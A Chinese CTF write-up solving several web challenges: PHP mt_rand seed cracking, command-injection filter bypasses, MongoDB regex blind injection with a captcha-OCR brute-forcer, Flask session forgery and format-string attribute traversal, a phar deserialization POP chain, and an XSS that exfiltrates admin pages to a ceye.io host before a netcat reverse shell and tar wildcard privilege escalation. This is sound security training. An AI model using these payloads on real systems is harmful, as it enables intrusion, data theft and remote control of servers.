用优惠码 买个X?
这题首先登陆进去会有一个15位优惠码,然后用它的时候又说,优惠码过期,要用24位的优惠码 扫一下泄露扫出来个www.zip
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
<?php $_SESSION['seed' ]=rand(0 ,999999999 ); function youhuima () {mt_srand($_SESSION['seed' ]); $str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ; $auth='' ; $len=15 ; for ( $i = 0 ; $i < $len; $i++ ){ if ($i<=($len/2 )) $auth.=substr($str_rand,mt_rand(0 , strlen($str_rand) - 1 ), 1 ); else $auth.=substr($str_rand,(mt_rand(0 , strlen($str_rand) - 1 ))*-1 , 1 ); } setcookie('Auth' , $auth); } if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im" ,$ip)){ if (!preg_match("/\?|flag|}|cat|echo|\*/i" ,$ip)){ }else { } }else { } ?>
看到mt_srand很容易联想到是随机数安全问题,之前暨大校赛也考过 根据wonderkun师傅的博客写脚本http://wonderkun.cc/index.html/?p=585 这里有个神奇的地方就是15位爆不出来,减少位数反而能爆出种子
1 2 3 4 5 6 7 8 9 10 11 12
<?php $str = "MiFgJ3paOh6LjrY" ; $rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ; $len = 15 ; for ($i=0 ;$i<$len;$i++){ if ($i<=($len/2 )){ $pos = strpos($rand,$str[$i]); echo $pos." " .$pos." " ."0" ." " .(strlen($rand)-1 )." " ; } }
然后跑出来是这个
1
48 48 0 61 8 8 0 61 41 41 0 61 6 6 0 61 45 45 0 61 29 29 0 61 15 15 0 61 0 0 0 61
然后可以看到爆出来个种子 然后按回题目的脚本获取长度为24的优惠码
1 2 3 4 5 6 7 8 9 10 11 12 13
<?php mt_srand(415048766 ); $str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ; $auth='' ; $len=24 ; for ( $i = 0 ; $i < $len; $i++ ){ if ($i<=($len/2 )) $auth.=substr($str_rand,mt_rand(0 , strlen($str_rand) - 1 ), 1 ); else $auth.=substr($str_rand,(mt_rand(0 , strlen($str_rand) - 1 ))*-1 , 1 ); } print $auth;
获得的优惠码是MiFgJ3pamT4pRrY9TZAteUZB,接下来就到命令执行了 第一个正则可以用换行符%0a绕过,接下来到了第二个,因为他会匹配关键字,用到一些bypass技巧
1 2 3 4 5
ip=127.0.0.1%0a`printf "Y2F0IC9mbGFn"|base64 -d` ip=127.0.0.1%0ac'a't /f'la'g ip=127.0.0.1%0ac[a]t /f[l][a]g ip=127.0.0.1%0atac /$(printf "ZmxhZw=="| base64 -d -) ip=127.0.0.1%0ac\at /fl\ag
然后就能拿到flag了
Injection???
这题源码提示info.php,然后就能看到有mongodb扩展,没有mysql的扩展,大胆猜测是mongodb注入 尝试一下admin登录进去,发现回显是username or password incorret,能确定username是admin,剩下的就是想办法获得password了 这里先尝试一下check.php?username=admin&password[$ne]=admin,发现会回显Nice! But it is not the real passwd,猜测应该是已经注入成功了,但是也将所有密码都返回回来,因此不能绕过,所以用正则去盲注
1
check.php?username=admin&pasword[$regex]=^s
鉴于验证码不会识别,只能慢慢手动盲注出来…… 最后知道密码是skmun,登录就有flag了 这里顺便挂一波4uuu Nya师傅的脚本,利用pytessercat去识别验证码,牛逼!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
import pytesseractfrom PIL import Imageimport requestsimport osimport stringpassword = '' string_list = string.ascii_letters + string.digits s = requests.Session() for i in range(32 ): for j in string_list: res = s.get('http://123.206.213.66:45678/vertify.php' ) image_name = os.path.join(os.path.dirname(__file__),'yzm.jpg' ) with open(image_name, 'wb' ) as file: file.write(res.content) image = Image.open(image_name) code = pytesseract.image_to_string(image) res = s.get('http://123.206.213.66:45678/check.php?username=admin&password[$regex]=^' +password + j +'&vertify=' +code) while ('CAPTCHA' in res.content): res = s.get('http://123.206.213.66:45678/vertify.php' ) image_name = os.path.join(os.path.dirname(__file__),'yzm.jpg' ) with open(image_name, 'wb' ) as file: file.write(res.content) image = Image.open(image_name) code = pytesseract.image_to_string(image) res = s.get('http://123.206.213.66:45678/check.php?username=admin&password[$regex]=^' +password + j +'&vertify=' +code) print password+j,res.content if 'Nice!But it is not the real passwd' in res.content: password += j print password break elif 'username or password incorrect' in res.content: continue print passwd
皇家线上赌场
源码可以看见test.js和source 访问/source可以看到框架和源码,猜测应该是读取文件源码 /source的源码
1 2 3 4
filename = request.args.get('file' , 'test.js' ) if filename.find('..' ) != -1 : return abort(403 ) filename = os.path.join('app/static' , filename)
同时tips给了这部分源码
1 2
if filename != '/home/ctf/web/app/static/test.js' and filename.find('/home/ctf/web/app' ) != -1 : return abort(404 )
可以看到,它会将..去掉,然后再在static后面加文件名,利用点也就是在/static?file=那个地方了 这里有个利用点,os.path.join函数的参数中,它会将绝对路径前面的所有参数给忽略掉 通过maps文件/proc/self/maps可以读到web的路径 试一下读/home/ctf/web_assli3fasdf/app/views.py读不到,这里有个小技巧,linux中/proc/self/cwd会返回当前工作目录的符号链接,然后这题的当前链接就是源码所在的目录,因此可以/static?file=/proc/self/cwd/app/views.py去读文件,然后就有源码了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
def register_views (app) : @app.before_request def reset_account () : if request.path == '/signup' or request.path == '/login' : return uname = username=session.get('username' ) u = User.query.filter_by(username=uname).first() if u: g.u = u g.flag = 'swpuctf{xxxxxxxxxxxxxx}' if uname == 'admin' : return now = int(time()) if (now - u.ts >= 600 ): u.balance = 10000 u.count = 0 u.ts = now u.save() session['balance' ] = 10000 session['count' ] = 0 @app.route('/getflag', methods=('POST',)) @login_required def getflag () : u = getattr(g, 'u' ) if not u or u.balance < 1000000 : return '{"s": -1, "msg": "error"}' field = request.form.get('field' , 'username' ) mhash = hashlib.sha256(('swpu++{0.' + field + '}' ).encode('utf-8' )).hexdigest() jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}' return jdata.format(field, g.u, mhash)
/static?file=/proc/self/cwd/app/__init__.py把init的源码也给读了
1 2 3 4 5 6 7 8 9 10 11 12 13
from flask import Flaskfrom flask_sqlalchemy import SQLAlchemyfrom .views import register_viewsfrom .models import dbdef create_app () : app = Flask(__name__, static_folder='' ) app.secret_key = '9f516783b42730b7888008dd5c15fe66' app.config['SQLALCHEMY_DATABASE_URI' ] = 'sqlite:////tmp/test.db' register_views(app) db.init_app(app) return app
可以看到init.py里面连秘钥都给了,接下来就是session的伪造了 先尝试解密 又因为getflag函数里面要求balance要大于1000000,接下来进行伪造,这里有个坑点,题目是用python3写的,直接上工具加密不行
1 2 3 4 5 6 7 8 9 10
from flask.sessions import SecureCookieSessionInterfaceclass App (object) : secret_key = '9f516783b42730b7888008dd5c15fe66' s = SecureCookieSessionInterface().get_signing_serializer(App()) u = s.loads('.eJwVzDsSwyAMRdG9vNqFCP4Am8kIWRROImYAVxnvPc6tTnW_yPxmE0VydDdB6mkD6a_eynPUlxoSyJVZwqaZY1hJRXj1cwyu7PvDUy6ZluiZBBPOrs34cy9xcK-G6wctLh7_.XB7-2Q.d8W10pqlUI57tZthRyxwUddoIuQ' ) u['username' ] = 'admin' u['balance' ] = 100000000 print(s.dumps(u))
跑出来这个
1
.eJxFzDsOwyAQRdG9vNrFEPwBNhMNwyBZCYPkTxV570kq3-pU94PMbzZRJEd3A6SfdiD9tW_1efSXGhLI1VHCopljmElFePZjDK6W8vCUa6YpeibBgHPXzbj9zuDSVsP1BcPCID0.XFVvYg.WA0mcYbRg2pAOO-OzJe-Agg6dAM
这样我们就能伪造成admin登录进去了 接下来就是格式化字符串漏洞了 首先可以看到field这个可控点是拼在了g.u后面,因此需要向上跳
1
return jdata.format(field, g.u, mhash)
先找一下g的定义
1 2 3 4 5 6
class AppContext (object) : def __init__ (self, app) : self.app = app self.url_adapter = app.create_url_adapter(None ) self.g = app.app_ctx_globals_class() self.refcnt = 0
先看一下当前的类
可以看到我们现在的类是user,正常来说,我们应该先跳去db类,但是因为出题人给user类写了了一个save方法,我们可以先看一下这个方法有什么
1
field=__class__.save.__globals__
可以看到有db,继续查看db有什么
1
field=__class__.save.__globals__[db].__class__.__init__.__globals__
这里可以看到有current_app,有因为在前面register的current_app里面可以找到有g,所以可以直接调用出来
1
field=__class__.save.__globals__[db].__class__.__init__.__globals__[current_app].before_request.__globals__[g].flag
SimplePHP
这题进去可以找到两个可以利用的点,第一个是读文件,第二个是上传文件
先把一堆源码读出来 file.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
<?php header("content-type:text/html;charset=utf-8" ); include 'function.php' ;include 'class.php' ;$file = $_GET["file" ] ? $_GET['file' ] : "" ; if (empty ($file)) { echo "<h2>There is no file to show!<h2/>" ; } $show = new Show(); if (file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty ($file)){ die ('file doesn' t exists.'); } ?>
function.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
<?php include "base.php" ;header("Content-type: text/html;charset=utf-8" ); error_reporting(E_ERROR | E_PARSE); foreach (array ('_COOKIE' ,'_POST' ,'_GET' ) as $_request) { foreach ($$_request as $_key=>$_value) { $$_key= addslashes($_value); } } function upload_file_do () { global $_FILES; $filename = md5($_FILES["file" ]["name" ].$_SERVER["REMOTE_ADDR" ]).".jpg" ; if (file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file" ]["tmp_name" ],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>' ; } function upload_file () { global $_FILES; if (upload_file_check()) { upload_file_do(); } } function upload_file_check () { global $_FILES; $allowed_types = array ("gif" ,"jepg" ,"jpg" ,"png" ); $temp = explode("." ,$_FILES["file" ]["name" ]); $extension = end($temp); if (empty ($extension)) { } else { if (in_array($extension,$allowed_types)) { return true ; } else { echo '<script type="text/javascript">alert("Invild file!");</script>' ; return false ; } } } ?>
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
<?php class C1e4r { public $test; public $str; public function __construct ($name) { $this ->str = $name; } public function __destruct () { $this ->test = $this ->str; echo $this ->test; } } class Show { public $source; public $str; public function __construct ($file) { $this ->source = $file; echo $this ->source; } public function __toString () { $content = $this ->str['str' ]->source; return $content; } public function __set ($key,$value) { $this ->$key = $value; } public function _show () { if (preg_match('/http|https|file:|gopher|dict|..|f1ag/i' ,$this ->source)) { die ('hacker!' ); } else { highlight_file($this ->source); } } public function __wakeup () { if (preg_match("/http|https|file:|gopher|dict|../i" , $this ->source)) { echo "hacker~" ; $this ->source = "index.php" ; } } } class Test { public $file; public $params; public function __construct () { $this ->params = array (); } public function __get ($key) { return $this ->get($key); } public function get ($key) { if (isset ($this ->params[$key])) { $value = $this ->params[$key]; } else { $value = "index.php" ; } return $this ->file_get($value); } public function file_get ($value) { $text = base64_encode(file_get_contents($value)); return $text; } } ?>
题目提示了flag在f1ag.php里面,同时也可以看到file.php有这样一句
1 2 3 4 5
$show = new Show(); if (file_exists($file)) { $show->source = $file; $show->_show(); }
接下来去看_show()方法
1 2 3 4 5 6 7 8
public function _show () { if (preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i' ,$this ->source)) { die ('hacker!' ); } else { highlight_file($this ->source); } }
可以看到这里直接将f1ag过滤了,所以想直接读文件是不可能的了 继续寻找可以看到Test类有个读文件的file_get()方法
1 2 3 4 5
public function file_get ($value) { $text = base64_encode(file_get_contents($value)); return $text; }
然后继续找调用了file_get()方法的方法
1 2 3 4 5 6 7 8 9
public function get ($key) { if (isset ($this ->params[$key])) { $value = $this ->params[$key]; } else { $value = "index.php" ; } return $this ->file_get($value); }
再继续找掉用get()方法的方法
1 2 3 4
public function __get ($key) { return $this ->get($key); }
然鹅这个方法要在调用不存在的属性的时候才会触发,看回show类,可以看见
1 2 3 4 5
public function __toString () { $content = $this ->str['str' ]->source; return $content; }
所以只需要将str[‘str’]换成Test类就行,然鹅这个_toString()又要怎么触发呢,同时我们也知道这个方法要在输出对象的时候才会触发 然后又看到在C1e4r里面有个这样的方法
1 2 3 4 5
public function __destruct () { $this ->test = $this ->str; echo $this ->test; }
这里就会将对象输出,至此,pop链完整了 利用C1e4r类的_destruct()中的echo $this->test去触发Show中的_toString(),利用_toString()里面的$content = $this->str[‘str’]->source去触发Test类中的_get(),然后利用file_get()方法读文件 接下来就是利用了 exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
<?php include 'class.php' ;$a = new Test(); $a->params = ['source' =>'/var/www/html/f1ag.php' ]; $b = new Show('index.php' ); $b->str['str' ] = $a; $c = new C1e4r($b); echo serialize($c);$ojb = unserialize('O:5:"C1e4r":2:{s:4:"test";N;s:3:"str";O:4:"Show":2:{s:6:"source";s:9:"index.php";s:3:"str";a:1:{s:3:"str";O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:{s:6:"source";s:22:"/var/www/html/f1ag.php";}}}}}' ); $phar = new Phar('hhh.phar' ); $phar->startBuffering(); $phar->addFromString('test.php' ,'test' ); $phar->setStub('<?php __HALT_COMPILER(); ?>' ); $phar->setMetadata($ojb); $phar->stopBuffering();
将hhh.phar改名成hhh.gif然后上传上去,又因为路径是这样的
1
$filename = md5($_FILES["file" ]["name" ].$_SERVER["REMOTE_ADDR" ]).".jpg" ;
计算出路径然后访问
1
http://120.79.158.180:11115/file.php?file=phar://upload/xxx.jpg
就能拿到f1ag.php文件的源码了
有趣的邮箱注册
首先在check.php发现源码
1 2 3 4 5 6 7 8 9 10 11
<!--check.php if ($_POST['email' ]) {$email = $_POST['email' ]; if (!filter_var($email,FILTER_VALIDATE_EMAIL)){echo "error email, please check your email" ;}else { echo "等待管理员自动审核" ;echo $email;} } ?>
可以看到这里有个filter_var($email,FILTER_VALIDATE_EMAIL),只需要引号括着就可以进行xss了,payload
1
"<script/src=http://xiaorouji.cn/youxiang.js></script>" @12. com
1 2 3 4 5
var a = new XMLHttpRequest();a.open('GET' ,'http://localhost:6324/admin/admin.php' ,false ); a.send(null ); b = a.responseText; location.href = 'http://onsdtb.ceye.io/' + escape (b);
然后就会在自己的ceye上看到有
1
<a href='admin/a0a.php?cmd=whoami'>
这里可以看到a0a这个php下有一个命令执行的地方,尝试一下弹shell
1 2 3 4 5
var a = new XMLHttpRequest();a.open('GET' ,'http://localhost:6324/admin/a0a/php?cmd=nc+%2fbin%2fbash+vps_ip+port' ,false ); a.send(null ); b = a.responseText; location.href = 'http://onsdtb.ceye.io/' + escape (b);
成功弹了shell以后可以看到上一层的根目录下有个4f0a5ead5aef34138fcbf8cf00029e7b,访问一下看见 进去这个目录可以看到一个backup.php,读一下他的源码
1 2 3 4 5 6 7 8 9 10 11 12 13
<?php include ("upload.php" );echo "上传目录:" . $upload_dir . "<br />" ;$sys = "tar -czf z.tar.gz *" ; chdir($upload_dir); system($sys); if (file_exists('z.tar.gz' )){echo "上传目录下的所有文件备份成功!<br />" ;echo "备份文件名: z.tar.gz" ;}else { echo "未上传文件,无法备份!" ;} ?>
可以看到他会将上传过去的文件进行tar处理,接下来就是tar提权了 具体参考这个https://www.freebuf.com/articles/system/176255.html 我们需要上传三个文件
1 2 3
rouji.sh --checkpoint-action=exec=sh rouji.sh --checkpoint=1
rouji.sh的内容
然后就能拿到flag了 这场比赛质量真的是高,学到了学到了 全文参考官方wp和一叶飘零师傅的wp
评论